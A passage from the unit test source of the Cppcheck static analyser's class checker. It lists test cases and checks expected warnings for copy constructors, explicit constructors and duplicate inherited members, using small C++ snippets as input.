settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n 